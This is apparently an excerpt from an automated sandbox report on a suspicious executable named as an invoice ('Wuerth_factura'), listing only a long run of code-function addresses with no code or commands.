Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F4622	4_2_3A5F4622
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F4620	4_2_3A5F4620
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F72CA	4_2_3A5F72CA
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F72C8	4_2_3A5F72C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F4EC0	4_2_3A5F4EC0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FF2F8	4_2_3A5FF2F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FD2F7	4_2_3A5FD2F7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F22F0	4_2_3A5F22F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FF2E7	4_2_3A5FF2E7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F1E98	4_2_3A5F1E98
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F1EA8	4_2_3A5F1EA8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F2758	4_2_3A5F2758
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F2749	4_2_3A5F2749
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FF778	4_2_3A5FF778
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F5770	4_2_3A5F5770
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F7B69	4_2_3A5F7B69
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FB318	4_2_3A5FB318
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FD308	4_2_3A5FD308
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FB307	4_2_3A5FB307
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F2300	4_2_3A5F2300
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F5328	4_2_3A5F5328
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F7722	4_2_3A5F7722
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F7720	4_2_3A5F7720
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F5BD8	4_2_3A5F5BD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F2FF9	4_2_3A5F2FF9
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FD798	4_2_3A5FD798
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FB798	4_2_3A5FB798
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FF788	4_2_3A5FF788
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FD787	4_2_3A5FD787
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F5780	4_2_3A5F5780
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F2BB0	4_2_3A5F2BB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FB7A8	4_2_3A5FB7A8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F2BA0	4_2_3A5F2BA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F8FA0	4_2_3A5F8FA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F3450	4_2_3A5F3450
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F0040	4_2_3A5F0040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6478	4_2_3A5F6478
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F3460	4_2_3A5F3460
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FDC19	4_2_3A5FDC19
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FFC18	4_2_3A5FFC18
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F3008	4_2_3A5F3008
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FBC38	4_2_3A5FBC38
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6030	4_2_3A5F6030
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FBC29	4_2_3A5FBC29
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FDC28	4_2_3A5FDC28
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6026	4_2_3A5F6026
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FC0C8	4_2_3A5FC0C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F08F0	4_2_3A5F08F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F0498	4_2_3A5F0498
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F6488	4_2_3A5F6488
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FE0B8	4_2_3A5FE0B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F38B8	4_2_3A5F38B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FC0B7	4_2_3A5FC0B7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FE0A7	4_2_3A5FE0A7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FC558	4_2_3A5FC558
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FE548	4_2_3A5FE548
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F0D48	4_2_3A5F0D48
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FC548	4_2_3A5FC548
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FA938	4_2_3A5FA938
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FE538	4_2_3A5FE538
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FA928	4_2_3A5FA928
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FE9D8	4_2_3A5FE9D8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FC9D8	4_2_3A5FC9D8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FE9C8	4_2_3A5FE9C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F15F8	4_2_3A5F15F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F15E8	4_2_3A5F15E8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5FC9E8	4_2_3A5FC9E8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F119F	4_2_3A5F119F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A5F11A0	4_2_3A5F11A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A666678	4_2_3A666678
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A665FD8	4_2_3A665FD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669FD8	4_2_3A669FD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A660960	4_2_3A660960
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A667E60	4_2_3A667E60
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66D460	4_2_3A66D460
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66A968	4_2_3A66A968
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A664468	4_2_3A664468
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66D470	4_2_3A66D470
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A661270	4_2_3A661270
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669171	4_2_3A669171
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66E77F	4_2_3A66E77F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A664478	4_2_3A664478
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A662478	4_2_3A662478
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66BC78	4_2_3A66BC78
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66C144	4_2_3A66C144
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A660040	4_2_3A660040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A666B40	4_2_3A666B40
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A665B48	4_2_3A665B48
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669648	4_2_3A669648
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A663B49	4_2_3A663B49
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66EC49	4_2_3A66EC49
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66C150	4_2_3A66C150
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A660950	4_2_3A660950
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A667E50	4_2_3A667E50
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A663B58	4_2_3A663B58
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66EC58	4_2_3A66EC58
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66A958	4_2_3A66A958
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66D927	4_2_3A66D927
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66F120	4_2_3A66F120
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A665228	4_2_3A665228
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A668328	4_2_3A668328
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669637	4_2_3A669637
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66AE30	4_2_3A66AE30
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A666B30	4_2_3A666B30
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66663E	4_2_3A66663E
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A663238	4_2_3A663238
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66D938	4_2_3A66D938
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A665B39	4_2_3A665B39
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A660006	4_2_3A660006
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66DE00	4_2_3A66DE00
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A664908	4_2_3A664908
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A667008	4_2_3A667008
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66C608	4_2_3A66C608
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A661710	4_2_3A661710
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669B10	4_2_3A669B10
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66F111	4_2_3A66F111
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66AE1F	4_2_3A66AE1F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A662918	4_2_3A662918
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66C618	4_2_3A66C618
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A668318	4_2_3A668318
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A665219	4_2_3A665219
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66CAE0	4_2_3A66CAE0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A660DE0	4_2_3A660DE0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6687E0	4_2_3A6687E0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A663FE8	4_2_3A663FE8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66F5E8	4_2_3A66F5E8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A661FE8	4_2_3A661FE8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66B2E8	4_2_3A66B2E8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6648F7	4_2_3A6648F7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A660DF0	4_2_3A660DF0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6687F0	4_2_3A6687F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66DDF0	4_2_3A66DDF0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6616FF	4_2_3A6616FF
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669AFF	4_2_3A669AFF
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A666FFB	4_2_3A666FFB
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A661FF8	4_2_3A661FF8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66B2F8	4_2_3A66B2F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A665FC7	4_2_3A665FC7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66B7C0	4_2_3A66B7C0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6604C0	4_2_3A6604C0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6636C8	4_2_3A6636C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66E2C8	4_2_3A66E2C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669FC8	4_2_3A669FC8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66F5D7	4_2_3A66F5D7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6604D0	4_2_3A6604D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6674D0	4_2_3A6674D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66CAD1	4_2_3A66CAD1
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A663FD8	4_2_3A663FD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66CFA7	4_2_3A66CFA7
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A661BA0	4_2_3A661BA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66A4A0	4_2_3A66A4A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66FAA0	4_2_3A66FAA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66B7AF	4_2_3A66B7AF
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A662DA8	4_2_3A662DA8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66CFA8	4_2_3A66CFA8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6656A8	4_2_3A6656A8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A668CA9	4_2_3A668CA9
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66FAB0	4_2_3A66FAB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6674BF	4_2_3A6674BF
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6656B8	4_2_3A6656B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A668CB8	4_2_3A668CB8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66E2B8	4_2_3A66E2B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A661280	4_2_3A661280
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A669180	4_2_3A669180
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66A48F	4_2_3A66A48F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A662488	4_2_3A662488
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66BC88	4_2_3A66BC88
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A667988	4_2_3A667988
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A664D89	4_2_3A664D89
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A66E790	4_2_3A66E790
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A661B91	4_2_3A661B91
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A662D9C	4_2_3A662D9C
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A664D98	4_2_3A664D98
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A667998	4_2_3A667998
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6870C0	4_2_3A6870C0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A68D710	4_2_3A68D710
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A684E60	4_2_3A684E60
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A681C60	4_2_3A681C60
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A686A70	4_2_3A686A70
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A68EE48	4_2_3A68EE48
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A686440	4_2_3A686440
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A683240	4_2_3A683240
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A680040	4_2_3A680040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A684820	4_2_3A684820
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A681620	4_2_3A681620
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A685E00	4_2_3A685E00
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A682C00	4_2_3A682C00
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A685AE0	4_2_3A685AE0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6828E0	4_2_3A6828E0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A683EC0	4_2_3A683EC0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A680CC0	4_2_3A680CC0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6854A0	4_2_3A6854A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6822A0	4_2_3A6822A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A683880	4_2_3A683880
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A680680	4_2_3A680680
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A686A80	4_2_3A686A80
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A686760	4_2_3A686760
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A683560	4_2_3A683560
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A680360	4_2_3A680360
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A684B40	4_2_3A684B40
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A681940	4_2_3A681940
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A686750	4_2_3A686750
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A686120	4_2_3A686120
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A682F20	4_2_3A682F20
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A684500	4_2_3A684500
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A681300	4_2_3A681300
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6841E0	4_2_3A6841E0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A680FE0	4_2_3A680FE0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6857C0	4_2_3A6857C0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6825C0	4_2_3A6825C0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A680FD0	4_2_3A680FD0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A686DA0	4_2_3A686DA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A683BA0	4_2_3A683BA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6809A0	4_2_3A6809A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A685180	4_2_3A685180
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A681F80	4_2_3A681F80
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A698470	4_2_3A698470
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A691CF0	4_2_3A691CF0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69FB30	4_2_3A69FB30
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69E870	4_2_3A69E870
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69B670	4_2_3A69B670
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A690040	4_2_3A690040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A699A50	4_2_3A699A50
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69CC50	4_2_3A69CC50
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A691828	4_2_3A691828
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69B030	4_2_3A69B030
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69E230	4_2_3A69E230
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A690006	4_2_3A690006
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69C610	4_2_3A69C610
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A699410	4_2_3A699410
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69F810	4_2_3A69F810
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A691817	4_2_3A691817
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A691CE0	4_2_3A691CE0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6904F9	4_2_3A6904F9
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69F4F0	4_2_3A69F4F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6990F0	4_2_3A6990F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69C2F0	4_2_3A69C2F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69D8D0	4_2_3A69D8D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69A6D0	4_2_3A69A6D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69BCB0	4_2_3A69BCB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A698AB0	4_2_3A698AB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69EEB0	4_2_3A69EEB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A690E8A	4_2_3A690E8A
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A690E98	4_2_3A690E98
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69A090	4_2_3A69A090
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69D290	4_2_3A69D290
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A691360	4_2_3A691360
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A693360	4_2_3A693360
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A699D70	4_2_3A699D70
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69CF70	4_2_3A69CF70
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A691351	4_2_3A691351
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69E550	4_2_3A69E550
